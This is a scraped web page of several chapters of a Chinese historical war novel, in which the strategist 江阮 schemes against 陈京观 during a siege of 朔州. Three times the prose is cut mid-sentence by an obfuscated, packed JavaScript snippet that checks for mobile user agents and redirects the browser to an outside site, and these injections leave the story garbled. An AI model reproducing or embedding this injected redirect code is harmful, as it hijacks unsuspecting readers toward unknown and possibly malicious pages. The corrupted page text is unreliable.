不知不觉间,江阮成了他不可或缺的左膀右臂。此时舍弃江阮,无异于自断一臂。 可偏偏陈京观的骨子里带着陈频的偏执,当前方只有悬崖时,他会毫不犹豫地跳下去。 陈京观与陈频一样,讨厌被人牵制。 更何况,江阮与陈京观想要的,从来都背道而驰。 此时北梁在观望,南魏在等待,这个世界上仿佛只有陈京观和江阮两个人是活的,他们像棋盘上的两个将,必定要有一死。 “他想让我燃起的第一把火就烧在南魏的土地上。” 陈京观笑着叹气,把手里的信递送给了候在外面的兵士,再有四个时辰,天光乍破时,一切推牌重开。 93.祸起萧墙(四) 万阳二十一年七月初六。 “报!城外发现敌军一支小队,约三百人。” 江阮手下的笔顿住,来传信的士兵平复呼吸后继续道:“之前巡逻未见踪迹,不知敌手从何处来。” “呵,这次不用我帮忙也能瞒住消息了,是长进了不少。” 江阮跨步从桌前走来,走到兵士身边时站住脚,用手轻拍他的肩膀道:“未战先怯,可以治你的罪了。” 兵士将头埋得更深,江阮却调笑道:“留着这条命,替我在战场上拿了陈京观的首级。” “是!” 江阮推开大殿的门,一阵燥热的空气扑面而来,阳光不遗余力地炙烤大地,江阮似乎能想到这天气尸体腐烂的有多快了。 “汪恕何在?”江阮问着门口的内侍。 “禀陛下,汪将军收到军报后亲赴朔州三大城门巡防,想必快回来了。” 江阮点头,他背后还跟着来送信的兵士,他招手让那人过来。 “你叫什么名字?” “回陛下,臣姓颜,名尚卿。” 江阮又问,“东亭旧军?” “是。昔日东亭兵败,臣随父兄加入复国军,父亲早年征战落得一身病,死了,兄长在夺取朔州时也死了。” 江阮侧过头看了颜尚卿一眼,估摸着他该有个二十岁出头。听这个名字,他父亲是给他定了个考取官名的路,可惜他还没等着及第登科,国家倒是先一步没了。 “那你怕死吗?” “不怕,都到这一步了,死也要给家里挣个功名。” 兵士的话惹得江阮发笑,他站在未央宫的高台之上,仿佛能看到无数如此人一般前赴后继而来的人。 在这世道,江阮给了他们一个逆天改命的机会。 “好,若我现在封你做东亭首将,命你带一万士兵从正面迎敌,你能行吗?” 颜尚卿顿了一下,江阮看到他神色慌张。 “没事,若……” “臣领命。” 颜尚卿朝江阮郑重握拳行礼,目光灼灼,却还是不敢看江阮。 “行,圣旨即刻送到各营部,你亲去选兵,就拿这刚来的三百人小队试试。” 颜尚卿行礼告退,江阮瞧见晏离鸿自长阶下而来。他与颜尚卿擦肩时侧过身去看了他一眼,然后抬头望着江阮。 “回来了?也好,准备准备带昌安军迎敌。” 江阮笑着说,可晏离鸿却一脸严肃地问:“你就这么随随便便任了他做将军?他不过刚当兵三年,兵法策略也谈不上熟悉。” “可是他心里有仇恨,”江阮侧过身看着晏离鸿,“你觉得陈京观出兵时做了万全准备?他能走到我面前,起初凭他那好命,现在凭他对陈频的责怪。其实就连你我,也不过是仇恨在背后推波助澜。” 晏离鸿无言以对,却很快捕捉到了江阮话语中的一个词。 “责怪?从何说起?” 江阮抿了抿嘴,“你那日该和他说了许多,你就没有感觉到,他行至此时完全是半推半就,他所做的一切,都有陈频在背后做推手。” 晏离鸿微微皱眉没有说话,江阮继续道:“他不想被我利用,但他自己心知肚明,他只是陈频的一枚棋子。他能活下来是注定的,他这一路都有人帮扶也是注定的。说白了,陈频替他安排好了一切。” “陈频想做什么?” 江阮思忖片刻笑着说:“他指望陈京观能继承他的一切,然后重塑南魏。” 这一切,包括了萧霖和苏晋的歉意,林均许和温书让的遗憾,宁渡和陆晁的惋惜,这些人目睹了陈频的死,他的死为这些人的心打上烙印。 而陈京观的出现,给了这些人再来一次的机会,他们把自己没有给陈频的都给陈京观,只为了让陈京观不像他父亲一般死去。 这是陈频殚精竭虑后得出的唯一可以集合各方势力的方法。 可人算不如天算,在陈家灭门的同时,江阮也失去母亲。 从此,这世界上便不止有陈京观带着仇恨,江阮心底也满是酸楚。 “其实如果没有我,他现在应该已经完成陈频想让他做的了。遏佐死,西芥因他改天换地;蒋铎死,下一步他就会挖空心思让萧霖与崇宁反目,然后南魏由萧祺桓即位,他母妃会帮着他坐稳这个位子。那时候,陈频所谋划的的一切就都实现了。” 江阮突然轻笑一声,“只可惜,不知是我挡了他的路,还是他挡了我的路,反正啊,我把陈频给他计划的一切变成了一盘死局。” 在外忧未解之前,萧霖不会轻易和崇宁翻脸,毕竟南魏与西芥签订的条约就是最好的例子。 而这外忧,就是江阮。 “你何时知道的?” 江阮没有立刻回答,反倒是笑着看晏离鸿:“你觉得我是何时知道你需要一个助力的?” 晏离鸿思虑片刻,“在陈京观离开北梁,而我与他断了联系。” 江阮点头,“那时候你已经生了复仇的心思,所以我只需要借势而为,代替陈京观在你心目中的位置。但是陈京观的目的一开始就是很明确的,而且他有自己的打算,陈频也给他铺好了路,所以他其实用不着我。反倒是我,需要他。” 江阮一顿,“在他之前,我原想借恪多的兵,可他却突然出现。比起什么都有的恪多,陈京观干净的像一张白纸,而他的平远军出自你昌安营,更是不可多得的战力。所以我调查了他,接近了他,试图将他拉上我的船。” “他的确是对你产生了依赖。” 江阮脸上笑意渐浓,“这只是因为他骨子里的善良吧。因为我帮了他许多,所以他甚至不知道如何怀疑我。要说依赖,他除却我还有很多选择。” 那些与陈京观相处些时日,江阮也恍惚以为他们是朋友。 江阮这一辈子盟友很多,可多为利而往,唯独陈京观,或许最初的他出于对江阮的顾忌而应下了合作,可后来的他却是出于对江阮的信任。 而江阮在遇到陈京观之前从不相信“信任”二字,因为他和母亲在这个字眼上吃了太多亏,可是陈京观对他那种带着疏离却又绝对信任的关系,让他怀疑了自己。 “不过我也是因为看透了他骨子里的善良,那是一种愚善,而放弃了他。” 江阮回过神来,想到了他问陈京观“你这么做是为什么”的时候。 “他在景州办茶税一案的时候,我一开始以为他是要借着打压左疆奇来削弱蒋铎的力量,可慢慢的我发现他的重点竟然真的在如何为南魏解决这积年沉疴。他心底里不只有报仇,而是遵着陈频的意愿生出了救国安邦的心思。可我,偏偏想要毁掉南魏。” 江阮勾出一抹笑,晏离鸿竟从其中看到了自嘲。 江阮现在回想起自己为陈京观的行为不停说服自己的那些夜晚,他觉得自己真的很可笑。 他以为陈京观与他有同样的经历,陈京观就该和他一样想要找南魏复仇,想要让这吸人血的国家为它所做的一切付出代价,所以江阮找上了他。 可陈京观竟然生出了救世的心肠。 反衬着江阮,成了灭世的魔王。 凭什么啊? “好笑的是,那时候的我还没有放弃他,我以为他只是没看清南魏的面目。为了万无一失,我在与陈京观交往的时候开始联系其他人,这其中就包括你。后来,霜栽的出现没有改变他,平海的死没有改变他,就连廊州那些人明摆着利用他,他也没有改变,我就彻底认清这个人了。晏离鸿,他小时候也这么固执吗?” 江阮脸上写满了难以理解,但是晏离鸿却能从他的眼睛读出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053362|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不甘心。 他江阮竟然有一天猜错了人心。 “不过事到如今,一切都无所谓了。所有人立场分明,我们该在牌桌上亮牌了。” 江阮说罢原地活动着有些麻木的双腿,他瞧见不远处汪恕在朝自己所在的方向过来。 “还有一事,”晏离鸿开口,“你为何紧追着陈京观不放?只凭现在的他,根本影响不了你。” 江阮轻笑道:“你也说了是现在的他,而他会成长,而且成长速度很快。杀死一个隐患的最好时机是在过去,其次就是现在。况且,陈京观已经不只是一个障碍了。” 只要他存在,就会有人时刻提醒着江阮:你曾经真的对一个人心软过,想要与他成为朋友。 而江阮能走到今天,靠的就是不对任何人用心。陈京观的存在,就像是上天给他埋下的一颗引雷。 “好了,我把一切都同你说清了,你也该明白了,”江阮看着晏离鸿,“这一仗,他必输无疑。我的底牌还没有打出来,可他手里已经没牌了。” “你还有什么打算?” 晏离鸿警惕地看着江阮,江阮走过去安抚着他,“放心,不会出卖你们的。你和汪将军跟在东亭军后头看着就行,等时机到了,你会看到我的底牌的。” 江阮又露出了他那不明所以的笑,可晏离鸿却觉得脊背发凉。 他是做好准备在战场上与陈京观和陆栖野正面相对了,他知道迟早会有这一天,可江阮的话是什么意思? 难道昌安军还不是他的底牌? 晏离鸿一直知道江阮可怕,也知道他不会对任何人吐露全部,可如今窥到了一点,已经让他觉得汗毛竖立。 江阮就像是站在云端的天神,他俯视着人间,所有人都在他的手心里。 二十二岁的年纪,他怎么能做到这一切? “若还有疑问,等打赢了回来讨封赏的时候我再同你说。” 江阮转身,贴近晏离鸿的耳朵,“所以,不要和我成为敌人。” 说罢,江阮轻笑一声跨步又回到大殿里,如今七月的风吹过朔州,远比不得北梁凉快,晏离鸿在阳光普照下大汗淋漓。 他的确想要赢,可他希望是光明正大的方式,打败陈京观。 “晏军师,昌安军全体两万将士在西平门集结完毕,等待您的号令。” 汪恕走到晏离鸿身边行了个军礼,他看着刚关上的大殿门小声的问道:“可是陛下有什么嘱咐?” 晏离鸿摇头,“我们跟在东亭军后面保存战力,其余的,他都安排好了。” 汪恕了然地点头,似乎并不觉得有任何不妥。 晏离鸿瞧了他一眼,“汪将军,妻儿都安顿在汝州了?” 汪恕回道:“是,汝州偏远,战事一时半刻打不过去。” 晏离鸿没作声,汪恕瞧着他有些反常,“晏公子,此刻可不是心慈手软的时候。” “我明白。可汪将军你就没想过,万一等会你斩下的是从前一起上过战场的兄弟的头颅,你就不会犹豫?” 汪恕默声,片刻后应答:“不会。我们都是职业军人,彼此心里都明白。我拼命换个前程,又有什么错?” 汪恕十五入军营,先是跟着陆韶怜走南闯北,后被交给了陆晁管辖,陆家更迭,陆栖川又成了他的长官。 如今他年近四十,若留在北梁,再有十年也将满了期役,届时他刚十四的儿子会应征入伍,周而复始,直到他汪家也同董家一般只剩下满门牌位。 他不想等真的到那一天的时候再作出这样的选择,他要成为第二个陆晁,替儿子和闺女寻个新人生。 最坏不过就是战死,可这也不过就是军户家既定的结局,他汪恕没什么不能接受的。 “走吧。拿起你的刀,我们都去寻个新出路。” 94.祸起萧墙(五) 与此同时,朔州城外一百里。 “先锋队派出去了,你觉得来迎的会是谁?” 陆栖野同陈京观站在一起,他们带了一半人在朔州城外的高地扎营,另一半由董辉和席英带着,继续窝在山洼里,等态势清楚了再做支援。 “如果东亭军和昌安军真的都在此处,那江阮应该会派东亭军。” 陆栖野点头对陈京观的话表示同意,可很快又问道:“那我们两万人分两拨走,会不会引不出北梁的军队?” 陈京观笑着摇头,“元衡等的时机不是平远军弹尽粮绝,而是我必死无疑。” 陆栖野侧过头看了陈京观一眼,没有再说话。 “走吧,我们不能和先锋队隔得太远,否则江阮会起疑。” 陈京观说罢,号令身后的将士拔寨,一万人分三侧同时向朔州的三个城门进发。在朔州边界陈京观与陆栖野相向而行,二人都沉默不语,他们把满腹嘱托都放在了心里,希望能在下次见面时亲口说出。 “报,先锋队受阻击,正从东直门迂回撤退。”一个小兵跑到陈京观马下。 “来迎的是东亭军?有多少人?” 来送信的小兵点头,“领头的瞧着面生,但所行动作是东亭军无疑。我看着该是有万人以上。” 陈京观点头应了一声,抬手止住了队伍。他们此时要去的是北化门,原先安排进攻东直门的那队人马交给平芜去带了,陈京观对他是放心的。 可是万人军队……江阮一开始就玩这么大? “袁冲,你带一千人去增援平芜,确保能拖住这一万人马就行,拖得越久越好。” 陈京观身边的将领行礼领命,一声令下队伍的后端就自动分裂开来,跟着袁冲朝东去了。 此时陈京观身边没有了能商量的人,他在脑海中又盘了一遍线索。 东直门一万人迎敌,而东亭总共也就五万兵力,陈京观在出发前收到桑柘寄来的军报,说是探到益州守着一万昌安军,还有一万东亭军在济州边界。 如此算来,即使崇州没有调去守军,江阮手里也应该只剩三万,此时贸然发出一万人,这不是江阮的性格。 陈京观虽说没有要来南魏的虎符,可他是萧霖钦定的将军,战前他托关策将一份急报送到了萧霖手里,让他做好倾全国之力灭东亭的准备。 南魏的常备守军在去除崇州的叛军一万后,廊州和参州该还有三万,参州路远,那一万人是指望不上了,可是廊州的两万兵可以驰援朔州。 陈京观也不知道自己怎么会想到同萧霖开口,对方明明已经明确说过只会旁观,可陈京观写那封信的时候没有犹豫。 萧霖和十年前的那个他不一样了,陈京观记忆里的人形已经模糊,可他就是觉得萧霖不一样了,他还愿意再信他一次。 而陈京观觉得江阮势必知道这些,可从现实来看,在如今一切未定的情况下,江阮似乎并不打算给自己留退路。 “继续前进。” 陈京观发令道,身后的两千人继续朝北化门走。 …… 朔州另一侧,东直门。 “平统领,少将军命我们前来驰援,他让我们务必拖住这些人。” 平芜看到袁冲的时候愣了一下,但很快手里的刀下意识砍掉了一个人的头颅,他被温热的鲜血唤醒,接上了袁冲的话,“那他呢?只带两千人冲不了北化门。” 战场上喧嚣一片,平芜的刀混合着四处飞起的喊叫声,袁冲觉得自己的神经在被挑拨,许久未生出的嗜血性在他心底有了雏形。 “我只听军令。” 袁冲的话说完,便化作一条飞驰的黑影冲进了人群,此时的情况不容平芜多想,他也只好受下了军令,与袁冲一前一后迎敌。 陈京观不在的这些日子,董辉对平远军的训练一日不敢松懈,有时他都觉得自己在昌安营时都没有如此紧张过,他想着,觉得该是自己当了将军的缘故。 从前他只需要跟着陆韶怜、陆晁和元衡打仗,他就像这些人手里的刀,不需要有思想,只需要锋利就好,可如今这平远军放在了他的肩上,他感觉到了沉甸甸的重量。 如今养兵千日用兵一时,事实证明董辉是个老练的将领。 平芜几乎没有做什么指挥,三千人的队伍自行分了三个小队,各自由军长带领,一队向前突进迎上了冲锋而下的三百人,另外两队从侧翼进攻,右翼的军队提前突围为左翼创造时机,平芜带着人切断了这万人长队。 只有真正交锋时,军队之间的素质才会被展现出来,东亭军组织力低下的缺点一览无余,颜尚卿刚开始还能号令着队伍奋勇迎敌,可渐渐的大家被平远军磨了士气,虽说没有丢盔卸甲的,却出现了停滞不前的。 “走啊,愣在这里做甚!” 颜尚卿已经杀红了眼,他入伍刚三年就拿到了领军的任命,他满心都是父兄未酬的凌云志,他往前冲着,还招呼着身旁的士兵。 但是他毕竟年轻,他没有想到自己这般轻易地得到了江阮的赏识,让许多在这东亭军中熬了半辈子的人眼红,他也没有想到以他的年纪,被推到这个位置上就是送死的。 站在颜尚卿身边的士兵没有动,他手里拿着刀,胳膊像是秋日里的树枝般乱颤,他不断地咽着口水,瞧见平日里唯唯诺诺的颜尚卿毫不留情地刺穿了眼前人的胸膛。 “你此时若退,就是临阵脱逃!” 颜尚卿的声音震彻整个哄闹的东直门,无论是东亭军还是平远军都被这句话点醒。若说方才的动作是战士下意识的反应,那么此刻他们真正意识到了。 战争,打响了。 “能斩敌方将领首级者,我请了皇上为他加官晋爵!” 颜尚卿精准把握住了士兵的心理,他这一嗓子让士气低迷的东亭军如火加柴。他望着眼前的场景,竟突然想发笑。 原来这就是他朝思暮想的功绩。 “袁统领,这样打下去不行的,对方的人数在我们之上,我们耗不过他们。” 平芜朝不远处的袁冲喊道,袁冲应了一声,随即便见他直冲向城门。 此时的东直门大开,无数东亭军如同灾年的蝗虫般涌出,城墙上的守军架起了弩车,弓箭手列队在隘口等候。 “你要做什么!” 还没等平芜反应,袁冲飞身跃起,一刀斩断了城门上的绳索。“哗——”一声,城门口的铁网迅速落下,被拦截在城中的东亭军满脸讶异地看着这个不速之客。 “掩护袁统领!” 平芜反应很快,在袁冲即将落地时一把接住了他,袁冲的铠甲重重砸在了平芜的后背上,他吃痛地闷哼了一声,在周围士兵的保护下向后撤。 “你不要命了?” 平芜的语气中满是难以置信,可袁冲却笑道:“东亭当年就是用这办法拦住了陆将军的队伍,让城内的昌安军全军覆没,我不过是以其人之道还治其人之身。” 平芜的动作顿了一下,那一刻他意识到自己身后的不是一个简单的兵士,他周围的也不是简单的兵士,他们原本叫做昌安营。 昌安营之所以能成为让天下闻风丧胆的军队,是因为他们中的每一个人都可以独立成师,昌安营的将军是陆家不假,可昌安营每个人都是将才。 “你没想过若我没能接住你,或者对面察觉到了你的意图,你会怎么样吗?” 平芜说着,顺手将旁边的马匹一拽,袁冲机敏地翻身落座。 “不过就是死嘛,比起我那些同期入伍的兄弟们,我多了十几年,值了!” 袁冲哈哈大笑,而他手里的刀剑却没有丝毫松懈,他的动作快准狠,几乎没有任何犹豫就能斩断敌人的脖颈。 在袁冲拦下后续出城的士兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056709|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,平远军慢慢取得上风,出了城的东亭军估摸有六千余人,与平远军基本相当,但是无论是战术还是战力,都远比不上平远军。 “城里的兵退了!” 有个眼尖的士兵喊道,四周的人都止了动作。等大家都缓过神,被留在原地的东亭军开始慌不择路,如丧家犬一般逃窜,平远军乘胜追击,只往城门口进发。 “守住,万不能让他们从东直门进城。” 颜尚卿喊着,可周围的人已经没有人听他的话了,他们各自为营找寻时机要退,战场上只有不多数的几个还拿着刀剑在负隅顽抗。 “报!北化门已退敌,少将军在往我处进发。” 平芜松了一口气,按照陈京观的打算,三处分别吸引火力,最后集中进攻东直门,如今陈京观打退了北化门的援军,接下来就看陆栖野的。 不对,平芜一愣。 按理来说西平门应当是守军最少的城门,此处靠近泯川江,有天然地势优势,江阮不会放很多人在那,这样一来如果东直门有一万人,那北化门也至少该有一万人,陈京观不应该打这么快。 突然,袁冲像是想到了什么,立刻飞驰朝平芜而来。 “大军在西平门!军报有误!” 袁冲的话应上了平芜的担心之处,可是那军报是桑柘送来的,万不可能有问题,除非…… “是元煜做了手脚!” 远处,陈京观带着还余下一千人朝此处奔驰,他一边跑着一边喊道,“全军进发西平门,同时送信往南魏和董辉处,请求立刻增援。” 闻声,平芜立刻遣了两个兵士驰往送信,自己快步迎上陈京观。 “西平门有多少人?” “如果军报全被元煜换了,那益州和济州的守军情报也不会准确,”陈京观顿了一下,“如今你我歼敌一万,西平门最多可能有四万兵力。” 而此时的陈京观看着这周遭满身是血的将士们,也不过两千。 “打!把这清理干净去救小爷!” 袁冲长叹一口气,用腰侧的布条将脸上的血迹抹干净,下一秒便冲进人群。这一次他目的明确,直冲着颜尚卿。 颜尚卿感觉到了逼近的杀气,他手起刀落将眼前的人斩杀,而后他没有向前,反倒是转身看了一眼紧闭的大门。 方才袁冲只是将铁网放下,可这城门却在不知不觉被城中人合上了,就连立在墙头的弓箭手都撤下去了。按陈京观的想法,应该全被调到了西平门。 此时此刻,颜尚卿那昙花一现的将军梦终于醒了,他明白他被江阮放弃了。 或者说他明白江阮一开始就打算放弃了他。 其实江阮的这个任务,若他说给任何一个上过战场的士兵都能明白其中的意思,可他偏偏选中了空有仇恨的颜尚卿。 他的年轻让他无畏又冲动,而那心里的仇恨成了江阮利用他的最好手段。 袁冲的动作没有犹豫,在贴近颜尚卿的同时他的刀跃过了颜尚卿的马,下一刻那刀柄被颜尚卿稳稳接住,可紧接着又是另一个角度的猛击。 袁冲像是不会疲倦的机器,他的刀在方才砍锁链时豁了一个口子,而那口子提醒着颜尚卿自己被抛弃的事实。 两个人的刀剑你来我往,颜尚卿年轻些,精力自然更好,而袁冲在听到陆栖野受困时有些被遗忘在血脉里的东西醒来了。 他没想到自己离开昌安营后还是会为陆家卖命。 终于,当袁冲的刀捅进颜尚卿的胸膛时,这场属于颜尚卿的短暂的战争结束了。 袁冲毫不犹豫的拔出了自己的刀,将它贴着马身收到了褡子里,然后在奔向陈京观的时候弯腰捡起了一把刻着昌安营标志的军刀。 “都结束了吗?” 陈京观收刀,此时他才看到自己面前快堆成山的尸体。 “走,进发西平门!” 95.祸起萧墙(六) 两个时辰前,陆栖野与陈京观分别,这一路他走得很快,不想给自己任何停下来思考的机会。 按照军报所说,西平门守着的应该是剩余的昌安营,他知道在那里会碰到谁。 最初陈京观提议由自己领兵前往,可陆栖野拒绝了,“若是你杀了他们,我只会觉得更难受。” 陆栖野苦笑着道,他不敢想当陈京观满身是血地站在自己面前时,他身后躺着的都是昌安营的人。 陆栖野要自己执刀,替父兄清理门楣。 可越往西走,那泯川江的澎湃水声刺激着陆栖野的神经,放大了他心里的踟蹰。可慢慢的,他的思绪从脑海中那些面孔上移开,他察觉到此处安静得异常。 如今是七月,正是泯川江的丰水期,重山融雪一路向南,翻滚着泥沙撞击两岸。朔州的西平门邻接泯川江支流为护城河,平日里与南魏隔桥相望。 今日的江水依旧汹涌,可南边的守军没了,崇州的城门上挂着东亭的战旗,而朔州的防御工事完全不似战时所备,城门大开,进出城的百姓络绎不绝。 陆栖野面色凝了些,他抬手叫停了队伍。 既然陈京观能探听到东亭的军报,那江阮不可能对平远军的进攻没有一丝察觉。如今西平门不像是有准备的,难道他们要靠泯川江做防守,然后大兵压境守卫剩下两个城门吗?这不是正中陈京观下怀? 陆栖野和江阮交情不深,可他不认为江阮的心思能被人如此轻易猜到。 陆栖野想着,叫来了谍子耳语了几句,那谍子明了地点头,一路朝东而去。 “他这是什么招?觉得我们不会以强兵伤害百姓?” 陆栖野身旁的迷津问道,陆栖野不做声,招手叫来了檞枳。 “留在城中的大致有一万昌安军?” 檞枳点头,“桑柘是这样说的。” 陆栖野开始在在心里做最坏的预期。 如果这一万人全部守在西平门,他领着的四千士兵大致能撑两个时辰,一切顺利的话那时候大军应该破了东直门,董辉领剩下一万人直接入城,与他交锋的昌安营应该会被调往驰援,届时江阮拆东墙补西墙,陆栖野就可以趁势切断后援, 只要他们能进了朔州,陆栖野就有底气与元衡谈合作了。 他们现在急需要一张向元衡证明的牌。 “东边已经打起来了。” 陆栖野顺着迷津所指的方向看去,东边的天空一阵黑烟升起,遮住了半边圆日。而那些原本神色如常的百姓也发现了这烟火,一时间西平门警戒,场面变得混乱起来。 “就趁现在,打!” 迷津带着一千人闻声而动,在城门口设关卡的守军随着地面起伏不禁望向远方。 “敌袭!立刻报告长官!” 那小士兵连忙扶稳帽子,抓起地上的长枪就往回跑,城门口的百姓已经悉数撤了回去,小士兵的身影在巍峨的城墙映衬下显得单薄又易碎。 迷津在关闭城门的前一秒,斩杀了他。 “各军注意,严防城门,控制住……” 迷津的话还没有说完,城墙上方一阵箭雨如瀑布飞流,他身后的兵士撤退不及,战马的嘶鸣声和人的惨叫此起彼伏。 “有埋伏,注意隐蔽。” 迷津迅速下马,在方才城门口立起的关卡处寻找掩体,不远处的陆栖野警惕地望向城头,那里在片刻之间集结了一整支战队。 “这城门要是再被打开我们就只能一波一波往上冲了,必须死守城门。” 檞枳领了命令,和陆栖野一人带着一千多人从两侧水道缓慢朝城墙靠近。迷津处死伤过半,剩下的人只能靠着战友的尸体向掩体进发。 忽然,就在陆栖野即将迎上迷津的时候城门从里面拉开,守在外面等待支援的迷津分队被冲出来的军队正面攻击。那一袭黑色盔甲在阳光下发出摄人心魄的威仪,战马的铁蹄踏响了整个战场。 不用数,只消一瞥就能看出这是万人军队的规模。 准确来说,是叛逃的所有昌安军。 “不好,军报有误!” 檞枳一个飞身替迷津拦下了背后发出的冷箭,两个人背靠背迎接四面八方的敌人。 “可军报是桑柘给的,怎可能有误?” 迷津说着,手上的刀已经飞出去捅穿了对方的胸膛。 “不管了,如今至少证明叛逃昌安军全部都在此处。陈京观他们若是行动迅速,应当可以按计划拿下东直门。” 陆栖野的脸上不知何时被划了一道血口子,他任由那汩汩血流淌进自己的脖颈。 “陈京观,这胜利倒是你要替我看看了。” 陆栖野小声念叨着,双腿夹紧马身一个侧劈斩断了对方的胳膊。他像是被蒙了眼的病人,眼前血色一片让他什么也看不见了,只有他手里的刀替他作出反应,每一个动作都毫不犹豫。 不知道这混乱的场面持续了多久,陆栖野只感觉自己的双臂如灌了铅般沉重,他喘着粗气,已经看不清前方的路了。 无数人在他身边倒下,陆晁给他的盔甲沾满了血污和碎肉,他胃里翻涌着的苦水如同日头高照时的泯川江,他杀红了眼,也真的红了眼。 “有援军!” 人群中不知道谁喊了一句,陆栖野的耳朵里只传来这三个字,他朝日落的方向看去,陈京观的那匹鬃马踩着夕阳的斜晖。 “是元煜。” 陈京观以最快的速度接住了早已脱力的陆栖野,一把将他拽上了自己的马。 “你怎么回来了?我守在这,你们一定能拿下东直门。” 陆栖野头也不回地继续拼杀,他听到身前的陈京观回道,“你死了,北梁不会放过我的。” 陈京观停顿一秒后继续道,“而且我不可能放着你不管,我答应过陆伯父。” 陆栖野转头瞥了一眼陈京观,他身上的铠甲早就被鲜血染红,那一头长发上也沾了血污,算起来,这其实是陈京观第一次真刀真枪的上战场。 他能做到这个地步,很好了。 “你怎么知道是元煜?” 陆栖野换了话题,他依旧挥着刀,下手时多了几分狠劲。 “军报调换只有他能做到。”陈京观一顿,“我同你一样,相信桑统领。” 陈京观从腰间扯下水壶,陆栖野喝下去的时候才发现是槐花酿。 “挺好,也算圆满了。” 陆栖野轻笑一声,将酒一饮而尽,随即用刀柄猛击酒壶,那飞过去的残影正中不远处的人。 “可元煜为何?” 陆栖野问着,陈京观不做声,只是一味拼命厮杀。 “他该和我们是一条战线的。” 陈京观冷笑道,“战线,不过都是为利而往。” 他们从来不该将元煜认作统一战线,毕竟元衡生出来的儿子,怎么可能会简单认命。 此时,距离陆栖野到达西平门已经过了两个时辰,他们的确扛过了两个时辰,但是也输了。 江阮手里的牌他们看不清,他们甚至猜不到。 突然,这打牌的人出现了城门上,一声青灰色长袍,陈京观抬头时看到了他,不知道他看了自己多久。 而他身边,站着晏离鸿。 他与江阮站在一起的时候,陈京观第一次觉得他寻找到了同类。 晏离鸿不再是那只离群的大雁,他那眉间永远化不开的黑色,原来是江阮。 那一刻,陈京观的脸上露出他自己都没有察觉到的笑,他望着日月交替,也望着残阳徐徐。 “全是老熟人,全是昌安军。” 陈京观回过神,发现他身旁的陆栖野双手微微发抖,他的所有动作像是提前设定好的,嘴里一遍一遍重复着。 陈京观知道,陆栖野也看到了晏离鸿。 “晏离鸿!”陆栖野倏得抬头,他知道晏离鸿能听见,“你为什么叛国!你为什么要这样对我们!” 我们。 晏离鸿的眉角颤抖了一下,他看着那个熟悉的身影在人群中腹背受敌。 他最终还是把这把刀伸向了陆家人。 “下去见见老朋友?” 江阮语气轻挑,眼神中满是玩味。 “不了,我先回去了。” 晏离鸿转身的时候听到江阮笑他,“再等等,好戏还在后面。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061071|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晏离鸿身影一滞,恍惚间好像听到远处传来马蹄声。 “撤退。” 江阮一声令下,城门口的昌安军如同黑夜的影子般潜入城门,徒留下一地狼藉和月光下的暴行。 “他们撤退了?为什么?” 平芜手上的刀还滴着血,他站定时险些没站住。 “你听。” 所有人的呼吸随着陈京观的话停滞,空气中的血腥气冲进鼻腔,却也激发了所有人更敏锐的感官。 “咚”、“咚”、“咚”。 地面发出强有力的鼓点,方才陈京观出现的那个山崖慢慢被人群站满,他们快速朝前方移动,隐约还能看到北梁的军旗。 元煜来了,他们的确在陈京观将死之际来了。 不过是来索他陈京观的命的。 “真聪明啊,江阮此刻退,我这条命就不能算在他手里。” 陈京观冷笑道,他不知道自己还能再打几个回合,他也不知道这最后的尽头在哪里,可他不后悔。 唯一的遗憾,就是崇宁还没死。 这是他最初离开雍州时的理想,就剩这一点了。 “栖野,”陈京观侧身朝陆栖野笑了笑, “若我求你带着剩下的平远军跟元煜回北梁去,你应不应?” 还没等陆栖野驳斥,陈京观又笑了一声,“他们要的是我的命,元衡不会拿你怎么样。” “陈京观,你还是老样子。” 陆栖野目光灼灼,许是真的没了力气,他声音微微发颤,“当初你平定敬安山的时候瞒我也是这论调,我与你说了那么多,都喂了狗。” 陈京观默默应下了陆栖野的脾气,继续道:“元衡能派兵,证明陆皇后在他那里分量不轻,也证明他并没打算处置你父兄。你此时回去,说服你父兄不要再管南魏与东亭的争端,你们便都能好好活下去。” 陈京观理智分析着旁人的命数,却不打算再为自己的命搏一搏了。 “你的南魏,你当真不管了?” 陈京观愣了一下,“是他们不要我了。” 午后送出去的军报,若以最快的速度送达阙州和廊州官驿,此时该来的就是南魏的援军了。 可是南边的遥景平原一马平川,隔着泯川江的廊州毫无动静。 陈京观认命了。 当初他将崇宁的一切剖开讲给萧霖听,他不觉得萧霖不明白。在他之前,陈频和孟知参试图用命唤醒萧霖,可萧霖依旧自缚双手。 陈京观不明白萧霖对崇宁到底有多深的情,他也不知道萧霖究竟要看着南魏变成什么样子才算还了崇宁的情,现在他不在乎了。 萧霖有一句话倒是说对了,这南魏真是一个烂摊子。 